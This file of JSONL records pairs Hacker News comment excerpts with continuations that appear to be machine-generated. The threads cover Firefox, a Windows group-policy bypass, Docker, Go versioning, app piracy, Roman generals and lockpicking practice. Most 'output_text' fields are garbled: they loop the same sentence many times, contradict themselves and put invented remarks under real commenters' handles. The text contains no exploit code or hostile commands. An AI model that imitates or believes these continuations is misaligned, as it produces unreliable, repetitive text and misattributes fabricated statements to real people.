mode.\n\nThe third is similar to the first habit. Going to work and being there is also\na'swtich' and I can concentrate.\n\nI was a freelancer too and I had a hard time to work at home. My computer was\nalways just a room away and just going in there for a'short' gaming session\nwas too easy.\n\nSo basically this is my advice: Go and buy a different computer than the one\nfor gaming, shower in the morning and change into your business attire. Leave\nthe house and go somewhere boring and quiet. The last part is the hardest\nsince everything gets interesting depending on how much you have to overcome\nyour habit. Your brain tries to fill your enjoyable habits with new enjoyable\nhabits, instead of the 'boring' work. This is probably why so many smoke - it\ncreates a enjoyable habit of doing 'nothing', which is better than working.\n\nI"} +{"output_text": "\n~~~\njosteink\n> Having any company have dominance (be it Microsoft, Apple, Google, whatever)\n> is dangerous for the open web.\n\nI don't think you understand what the open web is.\n\nThe open web is a set of protocols and standards that are open to all.\n\nThe open web is a set of protocols and standards that are open to all.\n\nThe open web is a set of protocols and standards that are open to all", "input_text": "makng processes\nof regular people. Accounting for those that accelerate adoption most, the\ntech enthusiast community, sites like HN show Mozilla still has a (potentially\ngrowing) great deal of love from the decision makers that matter.. there is a\nstrong and still valid sheppard/sheep network effect in play here (the same\nthat originally caused Mozilla's 90s/00s popularity) and it's still far too\nearly to discount its value just yet.\n\n------\nunknownian\nThe comments on that site are sickening. Yes, I do not agree with Eich's\nviews. Mozilla owned up to it. Someone should tell them to disable JS\neverywhere because of Eich.\n\nPlus, Firefox is a community project with more momentum than almost any FOSS\nproject. It won't die.\n\nedit: read that in reverse\n\n~~~\ntatterdemalion\nThe comments I read took rather a different position I thought - that they\nbelieve people should not use Firefox because Mozilla \"fired\" Eich. Still a\nsickening position.\n\n~~~\nbrighteyes\nAt the time, Mozilla was savaged by both the far left and far right. Both\nsides called for boycotts.\n\nThe comments in this story appear to be from the right in this case. I guess\nthe left lost interest (not surprising since they got what they demanded, for\nEich to be removed - or maybe just leftists don't read that website).\n\n------\nalfiedotwtf\nThis is a shame - Browser Wars II...\n\nHaving any company have dominance (be it Microsoft, Apple, Google, whatever)\nis dangerous for the open web. I don't look forward to walled gardens again\nwhere \"This site only works with X\" becomes prevalent.\n"} +{"output_text": " administrator on the computer.\n\nThis is a very common misconception. The user is not the only one with\npermissions to drop files to the startup folder.\n\n~~~\ngruez\n>The user is not the only one with permissions to drop files to the startup\nfolder.\n\nI'm not sure what you mean by this. The user is the only one with permissions\nto drop files to the startup folder.\n\n~~~\nwolrah\nThe user is", "input_text": " name of the algorithm used.\n\n \nA Windows feature which can result in bypassing User Group Policy - miles\nhttps://medium.com/tenable-techblog/bypass-windows-10-user-group-policy-and-more-with-this-one-weird-trick-552d4bc5cc1b\n======\ngruez\n_yawn_ yet another case of an \"exploit\" that involves being other side of an\nairtight hatchway[1]. most/all of the important group policy settings are\nmachine, rather than user. the user group policy settings are mainly with\nappearance/styling.\n\nLet's go through each of the \"implications\".\n\n>Single File Code Execution\n\nIf you were able to drop that file, you're either that user, or an\nadministrator on the computer. If you're that user, you could also achieve\n\"single file code execution\" by dropping a file to the startup folder, or\ncreating an autorun registry key. If you are an administrator, you already own\nthe machine.\n\n>Antivirus/EDR Bypass\n\npossibly, although your payload would still have to get pass behavioral\nanalysis when it's executing.\n\n>Denial of Service\n\nyeah, but you can achieve the same thing by adding \"logoff\" as an autorun\nentry.\n\n[1]\n[https://devblogs.microsoft.com/oldnewthing/?p=100665](https://devblogs.microsoft.com/oldnewthing/?p=100665),\nor search for that term on the blog, there are multiple entries.\n\n~~~\nwolrah\n> If you were able to drop that file, you're either that user, or an\n>"} +{"output_text": ": a single radiation dose is similar in\nprinciple to one received from the environment.\n\nI don't know what you mean by \"similar in principle\".\n\n>His over-arching point is that we don't regard radiation doses in the hospital\nas scary, taboo and dangerous, and yet we regard _any_ environmental dose as\ntoxic and worth panicking over.\n\nI don't know what you mean by \"toxic and worth panicking over\".\n\n>", "input_text": " more months after radiation therapy is\nover. They vary by the part of your body that was treated and the dose of\nradiation you received. Late side effects may include infertility, joint\nproblems, lymphedema, mouth problems, and secondary cancer.\"\n\n~~~\nshadowsun7\nThat moron who wrote the article is a nuclear and medical physicist at the\nUniversity of Oxford.\n\nFrom the HN comment guidelines:\n\n \n \n When disagreeing, please reply to the argument instead of\n calling names. E.g. \"That is an idiotic thing to say; \n 1 + 1 is 2, not 3\" can be shortened to \"1 + 1 is 2, not 3.\"\n \n\nJudging from your comment history, you seem to enjoy calling names more than\nyou do providing arguments.\n\n~~~\nVladRussian\nyour post didn't provide any contra argument, instead you went for personal\nattack and \"karma-bombing\".\n\n~~~\nshadowsun7\nA counter-argument to what, exactly? You took a statement that he made,\nconcluded that he was a'moron who does not know what he's talk about', and\nthen backed that summary statement up with a lifted quote from cancer.gov that\nhad nothing to do to the original statement?\n\nAllison's statement is accurate: a _single_ radiation dose is similar in\nprinciple to one received from the environment. His over-arching point is that\nwe don't regard radiation doses in the hospital as scary, taboo and dangerous,\nand yet we regard _any_ environmental dose as toxic and worth panicking over.\nThe rest of the article lays down his arguments for this view.\n\n~~~\nVladRussian\n>Allison's statement is accurate"} +{"output_text": "'ve been using\nthe same keyboard for years and have never had to relearn how to type. I\nhaven't had to relearn how to type on a standard layout keyboard either, but I\ndo have a preference for the standard layout. I find it easier to type on a\nstandard layout keyboard, but I don't think that's a good reason to switch\naway from a standard layout.\n\n~~~\njameshart\nI'm curious, what's the difference between the", "input_text": " are all easily reachable\nwithout changing the position of my hands. I also chose to program all the\nmodifier keys to work both as normal when held down and in a similar fashion\nto sticky keys when just tapped. For example, holding down shift and typing a\nletter works as normal, but hitting shift followed by a letter accomplishes\nthe same result, meaning that capital letters and punctuation don't really\ninterrupt the flow of typing or require chording.\n\nI also have rather resistive keyswitches (nominally 185g, ~170g in actuality)\nwhich was of ergonomic benefit to me. I wouldn't expect it to help most\npeople, but it helped me learn to type without bottoming out the switches.\nStarting out, the heavier springs caught me before reaching the bottom. Now I\ntype in a much gentler fashion, even if peak force is greater than on a\nstandard keyboard.\n\nMoving down to 48 keys can seem intimidating, but I adjusted rather quickly.\nIt only took me about a couple weeks to become comfortable with the layout\nchanges (staggered keys to a grid layout and Workman instead of QWERTY). I\nbelieve that part of the reason it was such an easy transition was because I\nchanged the layout whenever I had trouble adjusting to it. I had wanted to\nplace the underscore on the same key as F in a QWERTY layout to make typing\nsnake_case identifiers easier, but kept hitting the adjacent equals key\ninstead. I could have pushed through it, but I embraced what my brain clearly\nfelt was right whenever a similar thing happened and picked up the layout much\nquicker than I expected.\n\nAnother common concern is losing competence with a normal keyboard or standard\nlayout, but at least in my case that hasn't been an issue. I"} +{"output_text": "samwhited\n> The whole post reads like the author thinks Go has a very unique dependency\n> management problem that no other language ever had which somehow necessitates\n> a completely unorthodox solution.\n\nI think the author is trying to solve a problem that doesn't exist.\n\n> Three blog posts into \"vgo\", I still don't see why...\n\nI think the author is trying to solve a problem that doesn't exist.\n\n~~~\ncalcifer", "input_text": " to run out _now_ and buy\nit.\n\nSince people aren't willing to do this it goes to show that the claims of the\nLisp junkies are just pipe dreams.\n\nIf programming on an all Lisp environment really was 10x more productive even\na ten thousand dollar price tag would be chicken feed.\n\nLisp fans like to talk it up about how great it is, but at the end of the day\nare unwilling to put their money where their mouths are.\n\n~~~\njustinlilly\nThis is only the case if productivity is your only concern. There are also\nconsiderations such as support, security, and familiarity.\n\n \nSemantic Import Versioning - SamWhited\nhttps://research.swtch.com/vgo-import\n======\ncalcifer\nFrom the \"Avoiding Singleton Problems\" section:\n\n> Another problem would be if there were two HTTP stacks in the program.\n> Clearly only one HTTP stack can listen on port 80; we wouldn't want half the\n> program registering handlers that will not be used. Go developers are\n> already running into problems like this due to vendoring inside vendored\n> packages.\n\nThis is only a problem if you allow nested vendor/ directories, which \"dep\"\n(you know, the \"official experiment\" that suddenly got discarded to the\nsurprise of its developers) doesn't have because it recurses through the\nentire dependency tree and reduces it to a single vendor/, just like many\n(most?) other languages.\n\nThe whole post reads like the author thinks Go has a very unique dependency\nmanagement problem that no other language ever had which somehow necessitates\na completely unorthodox solution. Three blog posts into \"vgo\", I still don't\nsee why...\n\n~~~\n"} +{"output_text": " of the things I\u2019ve been\nwondering about is how you\u2019ve trained your model. I\u2019m curious about the\nprocess of training a model, and how you\u2019ve trained it.\n\n~~~\npsuter\nWe used a standard CNN architecture with a few tricks to get it to work.\n\nThe first step was to get the board image to look like a board. We used a\nsimple pre-processing step to convert the board image to grayscale", "input_text": "\ninterprets the state of the board and passes it off to Stockfish to display\nmove suggestions in real time.\n\nWe didn\u2019t quite get to recording the state over time in PGN but we hope to\ncontinue this project and add that soon!\n\nWould love to know what you think. We\u2019re working on enhancing other board\ngames with computer vision as well; if you want to help us beta test sign up\nat [https://boardboss.com](https://boardboss.com)\n\nAlso I live tweeted about our progress during the hackathon so if you\u2019re\ninterested in how the sausage is made you can check out the blow-by-blow here:\n[https://threadreaderapp.com/thread/1179424684502388736.html](https://threadreaderapp.com/thread/1179424684502388736.html)\n\n~~~\npsuter\nCongrats! We tried something similar a few years ago (also at the TC Disrupt\nHackathon [1]), but had to take a lot of shortcuts to get to something\nworking. I'm impressed you had the time to train a proper model (we went with\nold school CV hacks).\n\nLooking forward to seeing what BoardBoss could become. These days I've been\nwanting a CV app to track backgammon games. Those dice can be pretty tiny\nthough :)\n\n[1]\n[https://devpost.com/software/chesseye](https://devpost.com/software/chesseye)\n\n~~~\nrocauc\nGreat minds! Love that you deployed to a Pi \u2013 I\u2019ve thought about the same to\ncomplement or replace smartphones.\n\nCan you shed some insight into your ML process? One"} +{"output_text": "\nis reactivated.\n\n~~~\njrockway\nI think the problem is that the average pirate is not a \"real\" pirate. They\njust want to play the game, and they don't care about the legal issues.\n\nI think the real problem is that the average pirate is not a \"real\" pirate.\nThey just want to play the game, and they don't care about the legal issues.\n\n~~~\njdg\nI think you're right", "input_text": " a little optimistic.\n\nOn the plus side, you can't possibly have a worse piracy problem with your\napplication than China does with everything, and you'll probably eventually do\nwhat Chinese software companies do: put the real meat on the server, let\neveryone have your client for free, and let the users who prefer to Own Their\nGames Instead Of Renting Them cry to themselves in the corner.\n\n~~~\nm_eiman\nI've read a few articles/posts about piracy rates, and it seems that a piracy\nrate of 90% is \"normal\", at least for PC titles. So to me it seems like piracy\non the iPhone is lower than it could have been, and a lot lower if it drops to\n50%. Still a problem, of course, but if Apple keep making it more complicated\nto jailbreak the hardware it might actually be moving towards 0%.\n\n------\njdg\nEh, this game is being pirated more than the average app.\n\nFrom what I heard at Greg Yardley (PinchMedia)'s talk at 360idev yesterday,\nthe average piracy rate is 34%. My personal experience with Boxcar lines up\nwith those numbers, along with a 0.056% conversion rate from pirated to paid.\nThe \"average\" there, again according to PinchMedia, is 0.043% or 1 in 233.\n\nThey're taking the right approach in that, well, the truth is if someone is\ngoing to pirate something then even if you try and dissuade them they'll just\nmove on to the next one. In my particular case, I send a push notification\nletting them know we've detected that they are using a pirated copy, and then\ndisable their account. If they purchase the legitimate version, their account"} +{"output_text": "k\nI think you're confusing the peak of software development with the peak of\nsoftware development productivity.\n\n~~~\nrayiner\nI'm not sure what you mean. The peak of software development productivity was\nin the mid 1980's.\n\n~~~\nsvachalek\nI'm not sure what you mean. The peak of software development productivity was\nin the mid 1980's.\n\n------\njamesaguilar\nI'm not sure I understand the point of this", "input_text": "\nC64, in a weird turn of events he had to resort to printing out screenshots of\nmemory dumps, run those through an OCR. But the OCR was buggy and he had to\ncheck every byte by hand.\n\n[http://www.ludumdare.com/compo/2013/04/29/ponkmortem/#more-2...](http://www.ludumdare.com/compo/2013/04/29/ponkmortem/#more-250547)\n\nReminded me a bit of this story..\n\n------\nverandaguy\nAs a relatively new (5 or so years experience) programmer, 1985 sounds like\nhell.\n\n~~~\nrayiner\nSoftware development basically peaked in the mid 1980's.\n\nMacintosh Common Lisp circa 1987:\n[http://basalgangster.macgui.com/RetroMacComputing/The_Long_V...](http://basalgangster.macgui.com/RetroMacComputing/The_Long_View/Entries/2013/2/17_Macintosh_Common_Lisp.html),\nspecifically:\n[http://basalgangster.macgui.com/RetroMacComputing/The_Long_V...](http://basalgangster.macgui.com/RetroMacComputing/The_Long_View/Entries/2013/2/17_Macintosh_Common_Lisp_files/inspect%20and%20describe.jpg)\n\nFirebug circa 2013: , specifically\n\n\n~~~\nsvachale"} +{"output_text": " errors\".\n\nThe Gell-Mann amnesia effect is a fallacy because it's based on a false\npremise. The premise is that the media is a monolithic entity, and that\njournalists are all the same. The premise is false.\n\nThe Gell-Mann amnesia effect is a fallacy because it's based on a false\npremise. The premise is that the media is a monolithic entity, and that\njournalists are all", "input_text": "\nall after I said I will only answer some parts Off the record.\n\nMost often then not, the journalists already has a story when they come to\nyou. All they need is a quote of you saying what they already wrote.\n\n~~~\njacquesm\nThat's so dishonest it isn't even funny. I was interviewed a few years back\nbecause I built an - unreleased - search engine and the interviewer wanted me\nto say some particular stuff about Google. I refused and the interview\natmosphere was definitely very much different after that. There are plenty of\ngood journalists but there are also a bunch of them that are complete jerks\nthat fabricate stuff rather than report on reality.\n\n------\nbrownbat\nI especially liked the points about how often we vary our criticism of\njournalism based on the topic.\n\nReminded me a lot of Gell Mann amnesia, which I catch myself suffering from a\nlittle too often:\n\n[https://en.wikipedia.org/wiki/Gell-\nMann_amnesia_effect](https://en.wikipedia.org/wiki/Gell-Mann_amnesia_effect)\n\n~~~\najross\nThe Gell-Mann thing is dangerous pseudo science, stay away. It's not even\ninvented by a scientist. It's the excuse people go to to disbelieve something\nthey see in coverage, or to win arguments about \"the media\" or \"fake news\". If\nyou want to dismiss something as a falsehood, you have to do it with evidence,\nnot quips. This article is an excellent example.\n\n~~~\njdietrich\nThe Gell-Mann amnesia effect doesn't say \"all news is bunkum\", it says \"the\nnews media consistently make obvious"} +{"output_text": " to\ncreate a fake company to get around the TOW. They'll create a fake company\nthat has a fake address and fake phone number. They'll even create a fake\nwebsite.\n\nThe best part is that they'll even create a fake email address for the fake\ncompany.\n\nThe best part is that they'll even create a fake email address for the fake\ncompany.\n\nThe best part is that they'll even create a fake email address for the fake\n", "input_text": " to pay the parking ticket \u2014 no\nautomated machines. So we waited over an hour to pay our ticket. Time that we\nended up paying with our ticket (per hour parking). The cashier didn\u2019t want to\nrefund us for the waiting time. If the law doesn\u2019t require any standards\nrequiring waiting times \u2014 why would a parking operator ever be incentivized to\nhave an efficient checkout system? Especially if they are the only parking in\ntown. Anyways lots of sketchy consumer violations in this space.\n\n~~~\nhanniabu\nWhile I agree that's a hassle, I don't think this should result in a refund.\nIt's like ordering dinner, eating it, and then wanting a refund for the meal\nbecause you waited a long time for the meal.\n\n~~~\nppseafield\nI think the OP meant they were charged for the extra hour they spent waiting\nin line trying to exit.\n\n~~~\nhanniabu\nOh I see, thought that they didn't think they should pay just because there\nwas a long line to get out.\n\n------\nbredren\nMy SUS company, EasyALPR focuses on commercial parking enforcement / vehicle\ncontrol.\n\nFirst, the people who get \"in trouble\" are often absolutely brazen in their\nunfair use of common parking. They're warned multiple times and even when\ngiven a \"last chance\" notice they'll just keep breaking rules.\n\nAt that point you have to TOW them. And let me tell you, a TOW is something\nyou can't lampoon or get free internet off of. Towing SUCKS and drivers bend\nthe knee after this happens. I have data to prove it!\n\nAnyhow, another thing about these folks is that they will go so far as"} +{"output_text": "\n~~~\nZombieball\nAh, I see. Thanks for the clarification.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI've been in the industry for a long time and I've seen a lot of companies\nthat have been acquired and then shut down.\n\nI've also seen a lot of companies that have been acquired and then shut down\nand then re-acquired.\n\nI've seen", "input_text": "path after all!\n\n~~~\nsqueaky-clean\nActually I just remembered an even more relevant funny story. One of the\nservices I maintain at my job is a list of airport locations and their names\nin various languages (for airlines to use) among other details. I get so many\nrequests to change things from airlines that don't understand basic geography\nor even where they fly.\n\nMy favorite is when a customer was raising hell because London International\nAirport (YXU) wasn't appearing under the city listing for London, UK and\ndemanding it be added immediately. I had to tell them you don't fly there...\nit's located in Canada.\n\n~~~\nPxtl\nHah. The Y prefix alone should've been a tip off. I don't know a darned thing\nabout air travel but I know Canada is stuck with the Y.\n\n~~~\nZombieball\nI think technically Canada is stuck with the \"C\" prefix (vs. \"K\" for USA) eg.\nCYVR, CYUL, CYXX\n\nWe also have airports with \"CZ\" (eg. CZBB).\n\nI am not sure what the difference (if any) between CZ vs. CY codes is.\nProbably just sticking with convention (begin with Y or Z because everyone\nelse does).\n\n~~~\nagrahul\nYes, the entirety of C is currently allocated to Canada[1]. The parent\ncomments were talking about IATA codes, though, which aren't allocated by\nprefix.\n\n[1]\n[https://en.wikipedia.org/wiki/International_Civil_Aviation_O...](https://en.wikipedia.org/wiki/International_Civil_Aviation_Organization_airport_code#Prefixes)\n"} +{"output_text": " of these are free, and some are paid.\n\n~~~\njoshu\nI'm not sure I agree with the \"no more 'well it worked on MY machine'\"\nstatement.\n\nI've been using Docker for a while now, and I've found that it's a great way\nto get a reproducible build environment.\n\n~~~\njoshu\nI guess I should clarify that I'm talking about the \"container\" as a\nreproducible environment.", "input_text": " build that passes\nlocally to also pass on CI. This cuts down on a lot of potential back and\nforth. The only shared dependency between CI/local/prod/staging is docker\nitself.\n\nAnother benefit is (almost) complete isolation. This means rather than having\ndifferent vm images tracking different projects, you can have a single vm\nimage with docker, and have each container running on the vm for any version\nof any build across your system. From a CI perspective you can abstract most\nof the complex configuration for your applications into \"docker build -t\nmyapp_test./Dockerfile.test && docker run myapp_test\".\n\nContainers use a differential filesystem, so N running containers for an\napplication will take up 1 X the size of the container image + N x the average\nspace of changes made in the running containers on top of that base image.\nThis makes larger images highly space efficient without having to worry about\ndifferent instances treading on the same folders.\n\nThe line between dev and ops blurs a little (devops), but clear\nresponsibilities. Ops becomes responsible for maintaining the docker\ninfrastructure, and dev is responsible for everything inside the container\nboundary, the container image, installed packages, code compilation, and how\nthe containers interact. A container mantra is \"no more 'well it worked on MY\nmachine'\". If it works for the dev, it really will work in prod.\n\nBesides this, there a number of benefits around speed, accessibility,\ndebugging, standardization, the list goes on. There are also a ton of great\nand varied Docker CI solutions out there, from specific Docker based CI like\nus (codeship), Shippable, Drone, Circleci, as well as standard solutions like\njenkins via plugins. Many"} +{"output_text": ".\n\n~~~\nanacleto\nI'm not sure if you're referring to the Battle of Actium or the Battle of\nPhilippi.\n\nIn the first case, I'm not sure if you're referring to the Battle of Actium\nor the Battle of Actium. In the second case, I'm not sure if you're referring\nto the Battle of Philippi or the Battle of Philippi.\n\n~~~\njhellan\nI'm referring to", "input_text": " Pompey had strong political power and run for Console, but on his\nway to power, he found Crassus with the very same goal in mind. The problem is\nthat Crassus was the richest man in Rome (a billionaire compared to today) and\nhe had much more political influence.\n\nPompey (mainly because of Crassus's obstructionism) wasn't able to fully\ncapitalize on his military success.\n\nCaesar well understood that the stagnation was mainly due to the\nCrassus/Pompey (personal) rivalry and offered them to run himself for Console,\n(1) stop the Senate stagnation and (2) approve their reforms.\n\nThe rest is history.\n\n------\nB1FF_PSUVM\n[https://en.wikipedia.org/wiki/Marcus_Vipsanius_Agrippa](https://en.wikipedia.org/wiki/Marcus_Vipsanius_Agrippa)\n\n\"On September 2, 31 BC, the Battle of Actium was fought. Octavian's victory,\nwhich gave him the mastery of Rome and the empire, was mainly due to Agrippa.\"\n\n~~~\nanacleto\nI was about to say the same. Augustus didn't have at the time much battle\nstrategy skills. And in all fairness, military strategy was not his thing.\n\nActium \u2013 like my other battles under August's reign \u2013 was mainly due to\nAgrippa's military skills. In a hypothetical ranking of best Roman generals of\nall time, he should probably be placed somewhere between 1st and 5th place.\n\n~~~\njhellan\nAugustus lived into his late seventies partly due to his poor health, which\nforced him to stay away from many of his battles"} +{"output_text": " title.\n\n~~~\nxqyz\nI think the title is fine.\n\n------\njoshu\nI think the problem is that the comments are not the same as the content.\n\n------\njoshu\nI think the problem is that the comments are not the same as the content.\n\n------\njoshu\nI think the problem is that the comments are not the same as the content.\n\n------\njoshu\nI think the", "input_text": "\n\n------\ngdilla\nI think one advantage of FB comments is that it supposedly cuts down on\ntrolls, spam, and stupid arguments.\n\n~~~\nasdfologist\nYou must be new to FB.\n\n~~~\nxqyz\nOr to the internet in general.\n\n~~~\ngdilla\nJust sayin -\n[http://talkingpointsmemo.com/archives/2012/05/starting_later...](http://talkingpointsmemo.com/archives/2012/05/starting_later_this_week_tpm.php)\n\n~~~\nxqyz\nSame site from the link in the article\n():\n\n> Now the downsides, which are probably determinative for us. First, quite\n> simply a lot of people don\u2019t trust Facebook for reasons that range from\n> quite reasonable to totally paranoid. Second, and more significant in my\n> mind, is that many people don\u2019t want to bring their true identities into the\n> comments section of a political site. [...]\n\n> For those two reasons, especially the second, we\u2019re probably never going to\n> do this.\n\nIt's like \"yeah we know people probably won't like it, but fuck them.\"\n\n~~~\ngdilla\nThey also say it frees up their staff to do their jobs rather than moderating.\nNothing is perfect. They made a tradeoff.\n\n------\nbluetidepro\nTitle: \" _Why Facebook Comments Is A Bad Idea For Your Site_ \" In the article:\n\" _Perhaps in some contexts it makes sense_ \"\n\nParts of the post sound very contradicting to your actually"} +{"output_text": ".com/item?id=12383780](https://news.ycombinator.com/item?id=12383780)\n\n------\njlgaddis\nI'm not sure if this is a \"security vulnerability\" or not, but it's certainly\na \"feature\" that I've never seen before.\n\n~~~\nblueimp\nIt's a security vulnerability, but not a new one.\n\n------\njlgaddis\nI", "input_text": " Cashdollar, born and raised. Sometimes I wrote his\nname as 'Larry $$' though.\n\n~~~\nblueimp\nLarry was also super helpful in identifying the underlying issue and very\npolite in his emails.\n\nWould definitely write another security vulnerability into my code again if I\nknew that Larry would report it. ;)\n\n~~~\nlcashdol\nThanks, :-)\n\n------\ngalaxyLogic\nIsn't a JQuery Plugin something that executes on the client-side? If so then\nhow can something on the client-side compromise the security of a server?\nIsn't the fault on the server-side?\n\nOr is this a PHP server-plugin which if installed on a PHP server makes them\ninsecure? But of course anything you install on server can make it insecure.\nNo?\n\n~~~\nrunn1ng\nThere is an example PHP code in the same repo and people copy-pasted that into\nproduction.\n\nThe issue is not in the front-end jQuery library, despite the title.\n\n------\nfulafel\nWhat other vulnerabilities did this backwards-incompatible Apache change\ncause? Probably many people rely on.htaccess, for example to disable access\nto non-public files or disable php execution on a DIY CMS file sharing area.\n\nSounds like the risk from this is not widely known. Probably the correct\nsolution for Apache would have been to detect presence of now-ignored\n.htaccess files and signal an error.\n\n~~~\nblueimp\nThat was my thought as well.\n\nI think one of the reasons nobody reported this earlier was that people simply\nassumed that.htaccess support was the default - Larry Cashdollar, the\nsecurity researcher, also confirmed this:\n[https://news.ycombinator"} +{"output_text": "game).\n\n~~~\nhatsunearu\nI think the game will die. I think the game will be a niche game. I think the\ngame will be a game that people will play for a few months and then stop\nplaying. I think the game will be a game that people will play for a few\nmonths and then stop playing. I think the game will be a game that people will\nplay for a few months and then stop playing. I think the game will", "input_text": "\nNintendo is up 35% on Pokemon Go success - derwiki\nhttp://finance.yahoo.com/q?s=NTDOY&ql=1\n======\nhatsunearu\nI want to voice my concerns about the future of Pokemon Go so I'll do it here.\n\nThe power inflation is insane. The game will probably be unplayable to new\nplayers by the end of this month. Unlike Ingress, the game does not have a way\nto \"remove\" power from the game. You can increase the combined combat points\nof your pokemon collection unbound, and you have a massive power inflation\ngoing on. Sure, you get diminishing returns on the training but in the end the\npokemon don't disappear and you have a permanent increase in strength. Ingress\nmechanics always removes XM from the system and you get an equilibrium with\nthe spawn rate of XM and the consumption rate of XM (roughly equal to the rate\nof portal turnover). Pokemon Go has none of that. If this isn't addressed\nproperly I think the game might just die.\n\n~~~\nlubujackson\nThere's two things of interest here. The game itself, which is really thin as\nfar as gameplay and will dry up like a standard MMORPG as people go crazy\nleveling and the initial rush dies down. But the social aspect of meeting up\nat hotspots and dropping lures to get a party started and all that feels like\na new sort of sensation that should persist beyond this one game.\n\nThe real key is the location data from Ingress. There's plenty of room to\nexpand into other games, to create a cross-game persistent world or do any\nnumber of fun things (they already have the original Ingress game and a travel\n"} +{"output_text": " in, we can assume that the probability of finding life on\nother planets is 1.\n\nThis is a very important assumption, and one that is not explicitly stated.\n\n------\njoshuapants\nI'm not sure I agree with the conclusion. I think the probability of life\nexisting on a planet is proportional to the probability of life existing on\nEarth. If you assume that the probability of life existing on Earth is 1, then\nthe probability of life existing on", "input_text": " some of the math going on here is interesting and probably has some\ninteresting consequences for people's expectations about means. But I'm not\nsure about that paper...\n\nI want to be generous here and assume I'm misunderstanding, but it does seem a\nbit like the argument begs the question a bit.\n\nThe intended conclusion is that we should consider non-earth-like (i.e. non-\nearth-sized) planets as just as likely to be inhabited as earth-like planets.\nWhich is to say that we shouldn't expect that population density is strongly\ncorrelated with planet size.\n\nAnd this is shown starting from a model where \"mean population density is\ninvariant to planet size\". Hmm...\n\n------\nTouche\nSomething not mentioned here is the relationship between oxygen levels in the\natmosphere and the size of animals on a planet. During the era of giant\ncreatures (dinosaurs) the atmosphere was around 35% oxygen, today it is about\n21%.\n\n------\nHoushalter\nThis strikes me as very similar to the simulation argument. That is most\nbeings probably exist in simulations, and therefore you are far more likely to\nexist in a simulation than be a living person. Or similar anthropic arguments\ncould be made about many things. You are more likely to be living in a bigger\ncountry, you are more likely to be living in the period of time where Earth's\npopulation is the largest, etc.\n\n------\nGrantS\nInteresting analysis, but after reading the FAQ at the bottom, it rests upon\nquite a few important hidden assumptions. For example:\n\n>However if there is any hope of finding life on other planets, there must be\na huge number of planets with life in the Universe. Therefore, for the case\nwe're interested"} +{"output_text": "\nI am not sure if I am missing something, but I am not sure if this is a good\nidea.\n\nI am not sure if I am missing something, but I am not sure if this is a good\nidea.\n\nI am not sure if I am missing something, but I am not sure if this is a good\nidea.\n\nI am not sure if I am missing something, but I am not sure if this is a good\nidea.\n", "input_text": "Microsoft/vcpkg/blob/master/docs/about/faq.md#why-\nnot-conan)\n\n~~~\nhoistbypetard\nThanks. It looks like at least the third bullet has been reconsidered, based\non this announcement.\n\nBut I think the front matter on that section gives (at least for what I'm\nafter) a pretty good start on an answer to my question. They aim to version\nall libraries together as a platform (like, say, homebrew or yum+rpm). Where\nConan aims to behave a little more like what I'd term \"pypi for C++\". That is,\nif I'm reading this correctly, and I'm not yet certain that I am.\n\nOne thing that I want to do, and it's clear to me how I'd do it with conan (or\npip) but not yet clear to me how I'd do it with vcpkg, is have a version of a\npackage that's available in a public repository also be available in my\ninternal repository with some added private patches, and have my version \"win\"\nfor my projects.\n\nOur recurring need for this is when we're building out patches that we want to\nhave incorporated upstream but aren't ready to do that yet for one of many\nreasons.\n\n------\njclay\nWe've been using vcpkg on Windows and it's really made the process of managing\nc++ dependencies far less painful. Great to see this coming cross-platform as\nwe can now simplify the dependency section of our install guide to one line.\n\nvcpkg install boost cgal [etc...]\n\nTheir team has also been super friendly and responsive on Github. Looking\nforward to seeing where this goes.\n\n------\n0xFFC"} +{"output_text": "\ndisingenuous.\n\n>He says he\u2019s an empiricist and that data have convinced him he was dead\nwrong.\n\nI think this is a very interesting point. I'm not sure I agree with the\nauthor's conclusion, but I think it's a very interesting point.\n\n~~~\njohndcook\nI agree with you that the author's conclusion is not necessarily correct, but\nI think the author's point is that the author's", "input_text": "\nknodi123\n> Dammit, Raymond Chen is out of pocket for a refund on that guy's\n> subscription.\n\n?!? That sounded like a positive review from somebody who liked the article.\nHe says it's neither amazingly interesting nor technical, but still good\nenough to bookmark.\n\n~~~\naryamaan\nWoah, I misread it too and in retrospective, it looks like an honest mistake\nto make. That pessage could mean the both things (could give positive or\nnegative intent). I wonder what other such good examples can be. And does such\nphenomenon is called with some name?\n\n~~~\nFroshKiller\nIt's called a backhanded compliment.\n\n \nMake something and sell it - J3L2404\nhttp://www.johndcook.com/blog/2010/01/22/make-something-and-sell-it/\n======\nactf\nI think this article presents an interesting argument, even though much of it\nis anecdotal. Some of the author's points are very interesting:\n\n> He says he\u2019s an empiricist and that data have convinced him he was dead\n> wrong. He now says that the idea of giving away intellectual property as\n> advertising bait is unsustainable and will have dire consequences.\n\nIt's too bad the author doesn't go into more detail about this. I'm curious to\nsee his \"data\".\n\n>It\u2019s OK for a potter to sell pots, but a musician should not sell music.\n\nI think I agree with the author - why should a musician not be able to sell\ntheir music if they choose. Those who choose to give their music away for free\ncan do so, but suggesting that it's morally wrong to sell music seems"} +{"output_text": "(although I'm not sure if this is still the case).\n\n[1] [http://www.amazon.com/Visual-Guide-Lockpicking-\nIllustrated-P...](http://www.amazon.com/Visual-Guide-Lockpicking-Illustrated-\nPractical/dp/1590593415)\n\n[2] [http://www.amazon.com/MIT-Guide-Lockpicking-\nIllustrated/", "input_text": "~~~\nHomunculiheaded\nI was going to say, a weekend studying lock picking (which is definitely a fun\nthing to learn) and you can probably pick open a great majority of the houses\nout there in very little time... however, even if not practical this research\nis pretty interesting\n\n~~~\nseats\nAny recommendation on the best way to learn lock picking?\n\n~~~\nHomunculiheaded\nSure! I'm very much a novice but: I started with 'Visual Guide to Lockpicking'\n[1] although 'MIT Guide to Lock Picking' [2] is very good and also free. After\nyou get the basic mechanics of locks and lock-picking down you really just\nneed to practice. Get yourself a set of lock-picks online (also look at your\nstate laws for lock-picks, in many states only a licensed locksmith can carry\nthem around so it may be a good idea to keep them at home, and avoid doing\nthings like leaving them in your car/pocket. I believe some US states make it\nout right illegal to possess them, so just be aware).\n\nSome places will sell practice locks with pins removed, but do not buy them,\nthey are way overpriced and if you really want to understand the mechanics of\nlocks it will serve you well to bust one open. So go to a hardware store and\npick up an inexpensive but not cheap lock, crack it open and remove some of\nthe pins (even all but one), add/remove/reorder the pins until you are really\ngood, and then buy more locks.\n\nAlso do keep the law in mind, when I looked it up it's illegal in most if not\nall states to pick locks that you do not own if you are a not a locksmith\n"} +{"output_text": " to get things done.\n\nThe power talk is a very important part of the corporate culture. It is\nimportant to understand how it works, and how to use it to your 